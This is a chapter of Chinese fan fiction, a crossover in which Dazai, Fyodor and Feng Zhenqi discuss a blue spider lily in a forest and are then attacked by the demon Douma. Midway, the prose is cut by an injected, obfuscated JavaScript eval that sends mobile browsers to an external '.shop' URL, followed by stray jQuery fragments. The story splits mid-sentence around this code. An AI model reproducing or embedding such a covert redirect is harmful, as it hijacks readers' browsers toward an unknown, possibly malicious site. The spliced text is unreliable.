【第三十五章:我能邀请你们变成鬼吗?】

    必须要说明的是,枫真祈从来没有主动隐藏自己的异能信息,他也不在意别人的窥探,甚至,在一不小心月光之后,他还会主动贩卖自己的异能信息,之所以这么多年没被人知道,是因为一直没人亲口问他,而相亲相爱的横滨市民又不足以让他动用全部的力量。

    所以,他并不介意费奥多尔的做局试探,他介意的是这家伙把太宰卷进来,做了一个讨人厌的局——虽然从小到大,他搞得每一件事都会把太宰乱步卷进去——太宰和费奥多尔显然也明白这一点,『食骨之井』传送一落地,从失重的浮空感挣脱出来,周围的景色都没看清,费奥多尔转身就跑,跑得很快,像个敏捷的猴子,但没有用,因为枫真祈比他更快。

    一分钟后。

    费奥多尔被倒挂在树上,滚边披风倒盖下来,防寒帽被坏心眼的太宰捡起来,耷拉在头顶上,又看到枫真祈给太宰递了一颗棒棒糖,没忍住抱怨起来:“为什么我们的待遇会差这么多?”

    太宰叼着棒棒糖:“那不是应该的吗?我是三十六颗炸弹的被害人。”

    费奥多尔:“……”

    费奥多尔转向枫真祈:“你信了?”

    枫真祈:“……”

    费奥多尔一脸不可置信:“他是故意去神社的,我根本没有邀请他!”

    虽然他知道太宰一定回来,虽然他知道太宰来了枫真祈才会来,但不妨碍他先撇清关系,毕竟太宰也不干净!太宰本来可以不去的神社的,他又没有胁迫武装侦探社,他顶多是用枫真祈的过去搞了一点事,然后,超级在意的太宰君就不请自来了。

    枫真祈点头:“嗯。我知道。”

    太宰:“噗噗——”

    费奥多尔:“……”

    费奥多尔看不得他这个表情,严肃招供:“真祈,他喜欢你。”

    话没落音,就挨了一脚飞踢,太宰反驳:“没有。”

    费奥多尔虚弱吐血:“你有。”

    太宰冷漠的又踹一脚:“完全没有。”

    费奥多尔继续吐血:“就有。”

    太宰无情的再踹一脚:“都说了,没有。”

    枫真祈:“……”

    枫真祈赶紧顺毛撸:“好的好的,阿、阿治,你冷冷冷静一下,他看起来要死了,他是玩大富翁都要打点滴的人啊!”

    太宰:“……”

    费奥多尔:“打点滴这件事过不去了吗?”

    枫真祈:“……”

    枫真祈觉得,事情不能再这样下去了,不能再公报私仇了,他得主持一下局面,他严肃的把炸毛的太宰拉到背后,对着迎风飘扬的费奥多尔开口:“好吧,不提打点滴的事,给你三分钟时间陈情。”

    三分钟连开头都讲不完。

    费奥多尔表示拒绝:“欸?还有什么需要陈情的吗?你们不是已经把来龙去脉猜清楚了吗?”

    太宰:“嘛,还是有一些细节需要你招供。”

    枫真祈:“比如说,‘青色の彼岸花’?你是从哪里知道青色彼岸花的?”

    费奥多尔一顿。

    太宰转过头:“真有趣,所以真的有青色彼岸花?”

    记仇的费奥多尔立刻拆台:“这时候说这种话,难道会显得你是因为有趣才来到这里的吗?”

    太宰神色不变,但又给了他一脚。

    枫真祈:“……”

    顶着狐朋狗友幽怨的目光,枫真祈尴尬的咳了一声,转移话题:“我确实见过青色的彼岸花。十年前,在我家神社里。”

    他母亲喜欢花,他居住的院子里每个季节、每一天都有花在盛开,某个阳光灿烂的日子,他就亲眼目睹一朵青色彼岸花的盛开,这种花的带着奇异的香气,会让穿过『食骨之井』的妖怪变得狂躁,丧失理智,并且妖力和回复速度都会变快。

    这是一种奇异的现象,他的母亲是一个很温柔的人,但那一刻却显得很狂妄,她就坐在花园的中心,一边搭弓射杀妖怪,一边教他丧失理智的妖怪最好杀,因为虽然妖怪的能力会被增幅,但没有理智只剩下本能,那么它们的行动就可以预测。

    能预测就意味着能截杀,拦截陷杀,以小搏大,这些都是战斗必须要有的能力,当然,其中最重要的是要足够冷静,在战场上足够冷静的人才能合理的判断每一个时机。

    这一点,枫真祈一直做得很好,在横滨,很少有人能靠战斗打赢他。

    费奥多尔依旧被吊在树上,迎风摇摆,他抵着下颌:“你母亲虽然用弓箭,但听起来,感觉更像战士啊?”

    太宰赞同:“很有魅力的一个人,可惜没能见上一面。”

    但是,费奥多尔还是对青色的彼岸花更感兴趣:“所以,后来呢?你们打败了狂暴的妖怪,成功守护了彼岸花吗?也就是说青色的彼岸花在你手里?那朵青色的彼岸花真的有长生的功效吗?”

    枫真祈:“……”

    枫真祈无语:“等一下,这种只开几天的话,当然是凋谢了,为什么会在我手里,而且,为什么会问我这种问题?我又没吃过?而且无论什么颜色,彼岸花是石蒜科吧,石蒜科是有毒的吧!谁没事会去吃它啊?”

    费奥多尔:“……”

    太宰:“……”

    费奥多尔:“我说啊。这个话题走向对吗?是什么时候变成科普的?我们都穿越异世界了还要相信科学吗?”

    枫真祈:“……”

    太宰支着下颌,跃跃欲试:“但是,玄学里有说青色彼岸花没有毒吗?有毒的话,能吃吗?吃完能无痛抵达黄泉比良坂吗?”

    枫真祈:“……”

    枫真祈:“好吧,既然大家都很好奇,目标就暂时定为:寻找彼岸花吧。”

    费奥多尔噫了一声:“您的科学倒戈的也太快了。”

    太宰打断话题:“或许,现在我们应该思考一下,这里是哪里,我们是谁,我们接下来要做什么吗?”

    费奥多尔:“确实。”

    枫真祈

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17737854|207112||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“有道理。”

    三人思考起来,一边思考,一边查看四周。周边依旧是茂盛的森林,高耸的树干笔直向上,舒展的枝叶遮天蔽日,周围也阴森暗沉,因此他们很难判断他们在什么地方,在什么时代,也很难判断附近是否有人。

    天色近晚,夕阳垂入地平线,晚风掠过,从远到近一片窸窸窣窣的沙沙声,听起来像是有什么未知的东西正在赶来,还怪恐怖的。

    难道又是一个荒野求生?

    枫真祈想起了上一次在通过『食骨之井』传送,当时也是落地原始森林,找不到方向所以只能旅行,唔……这一次比上一次糟糕,上一次还有一条河,现在周围可没有河,难道要去打猎了吗?也不是不行,枫真祈散漫的想着,目光看向太宰,太宰望着森林深处也很沉默,不知道在想什么。

    三分钟后。

    又三分钟后。

    枫真祈还是没想好要不要去打猎,周边越来越暗沉,连夕阳的余晖都消失了,费奥多尔率先开口:“所以,你们现在能把我放下来了吗?”

    太宰没理他。

    枫真祈也没理他。

    费奥多尔叹气:“好吧,我知道你们没有放我下来的意思,那进行下一项议题吧,该去哪里找青色彼岸花?”

    他说这句话的时候,声音没有一点收敛,甚至,还扬高了很多。

    林间的沙沙声一顿,就在这时,一道影子猛地掠出,直冲倒吊的费奥多尔。

    当——的一声。

    锋利的爪子被森白的刀锋挡住,一个穿着西式和服,带着微笑的青年歪过头,他的表情温柔无害,眼底却印着诡谲的‘贰’,“嗯?你是谁?”

    他问这句话的时候,手上的力道还在一点点加重,试图突破防线,直取费奥多尔的喉咙。

    森白的镰刀一动,青年被迫后退,单手提刀的枫真祈挡在最前面,“我也想说,不打招呼就发起攻击是很不礼貌的行为,以及,你是谁?”

    空气沉寂了一秒。

    青年仿佛听懂了,他握拳击掌,随即又张开手,露出一种天真残忍的喜悦,“刚刚听你们谈论青色彼岸花,太过入迷,忘了自我介绍,这里是万世极乐教的山头,我是万世极乐教的教主,童磨,我能邀请你们——”童磨的身影骤然消失又骤然出现,这一次攻击的爪子朝向太宰,“变、成、鬼、吗?”

    远处的森林,风骤然刮起,高大的树木倏忽摇动起来,尖锐的爪子离太宰一步之遥,太宰没有躲,鸢色的眼眸凉薄的掀起,下一瞬,森白的镰刀再一次挡在最前面。

    童磨愣了一下,他并没有察觉到,刚刚挡住他的少年是怎么行动的,他就像是一阵风倏忽而至,毛骨悚然的感觉窜上心头,童磨难以抑制的兴奋起来,因为他忽然发现,不仅仅是陌生的太宰没有惊慌闪躲,就连被倒吊在树上的费奥多尔也没有惶恐的神色。

    面前的少年气息变了,那双冰绿色的,带着生机的眼睛侧过来,像是没能理解他的行为一样,“你刚刚……在干什么?”